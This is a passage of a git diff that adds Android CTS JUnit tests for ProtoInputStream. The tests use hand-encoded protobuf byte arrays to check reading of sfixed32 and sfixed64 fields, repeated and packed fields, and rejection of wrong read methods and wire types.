+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readBytes(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readBytes(FIELD_ID_3);
+ // don't fail, length delimited is ok
+ break;
+ case (int) FIELD_ID_6:
+ pi.readBytes(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed32Test.java
new file mode 100644
index 0000000..37be34a
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed32Test.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamSFixed32Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> 1
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x25,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[] results = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(int val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED32;
+ final long FIELD_ID = fieldFlags | ((long) 110 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sfixed32Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sfixed32Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x25,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ // 6 -> 1
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0d,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x15,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x25,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2d,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new int[0]);
+ testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED32;
+ final long FIELD_ID = fieldFlags | ((long) 111 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sfixed32FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sfixed32FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.sfixed32FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_SFIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x08,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> 1
+ (byte) 0x32,
+ (byte) 0x08,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x08,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new int[0]);
+ testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED32;
+ final long FIELD_ID = fieldFlags | ((long) 112 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sfixed32FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sfixed32FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.sfixed32FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x04,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readInt(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readInt(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readInt(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed sfixed32)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readInt(FIELD_ID_6);
+ // don't fail, fixed32 is ok
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed64Test.java
new file mode 100644
index 0000000..e2a3b19
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed64Test.java
@@ -0,0 +1,647 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamSFixed64Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 8 -> 1
+ (byte) 0x41,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x19,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x21,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x29,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x39,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[] results = new long[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ assertEquals(Long.MIN_VALUE, results[5]);
+ assertEquals(Long.MAX_VALUE, results[6]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ testReadCompat(Long.MIN_VALUE);
+ testReadCompat(Long.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(long val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED64;
+ final long FIELD_ID = fieldFlags | ((long) 120 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sfixed64Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sfixed64Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x09,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x19,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
